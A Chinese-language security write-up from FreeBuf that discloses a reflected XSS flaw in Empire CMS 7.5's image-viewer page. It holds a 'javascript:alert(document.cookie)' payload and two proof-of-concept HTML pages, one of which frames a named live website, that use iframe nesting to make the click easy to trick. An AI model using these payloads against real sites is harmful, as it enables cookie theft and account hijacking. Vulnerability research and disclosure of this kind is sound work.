*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
*本文原创作者:q601333824,属于FreeBuf原创奖励计划,转载请注明来自FreeBuf.COM
概述
帝国CMS简称Empire CMS,当前的最新版本为7.5,前几天挖过一个该CMS的后台漏洞,最近也去挖了前台XSS,发现前台有一处过滤不完整导致的XSS漏洞。
相关环境
源码信息:EmpireCMS_7.5_SC_UT
漏洞类型:反射型XSS
下载地址:http://www.phome.net/download/
漏洞文件:/e/ViewImg/index.html
漏洞分析
1、该文件不是PHP文件,只是普通html静态文件,但是其中有一段代码存在漏洞,代码大概的意思是通过Request函数获取地址栏的URL参数,并作为img和a标签的,src属性和href属性,然后经过document.write输出到页面。
2、跟踪Request函数,该函数大概的流程,就是通过window.location获取当前地址,根据传入的url参数,获取当前地址url参数起始位置和结束位置。
例如,我的地址是:index.html?url=javascript:alert(document.cookie),经过处理之后得到javascript:alert(document.cookie)。
3、最后经过document.write函数输出到页面,得到a标签和img标签,并且href和src的值,就是返回的javascript:alert(document.cookie)。
4、根据触发规则,可以进行点击图片位置即可触发,网上找了两个网站实例。
利用方法
1、有人会说利用点太小了,不好触发,可以参考我以前某云提交的漏洞 WooYun-2014-73258,通过两次框架嵌套可以使XSS位置随意移动,方便触发。
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-073258.html
2、详细利用代码如下,第一段代码,效果如下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>中转</title>
</head>
<body>
<iframe src="http://powerpigs.net/e/ViewImg/index.html?url=javascript:alert(/xss/)" height="100" width="1000" style="position:absolute; left:-490px; top:-0px;"></iframe>
</body>
</html>
3、第二段代码如下,嵌套前面的代码实现任意位置移动。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>存储型SS测试</title>
</head>
<body>
<marquee behavior="alternate">→→→→→→→→→→<iframe src="http://127.0.0.1/1.html" width="50" height="30" scrolling="no"></iframe>←←←←←←←←←←</marquee>
</body>
</html>
4、两段代码最终效果如下。
5、GIF动态测试效果如下,以前我觉得这种利用方法很逗比,但是现在我也觉得这种利用方法很逗B……
总结
1、总的概括,漏洞内容就是,javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的,href属性和src属性输出。
2、至于利用方法,是几年前无聊想的,所以拿来用用。
*本文原创作者:q601333824,属于FreeBuf原创奖励计划,转载请注明来自FreeBuf.COM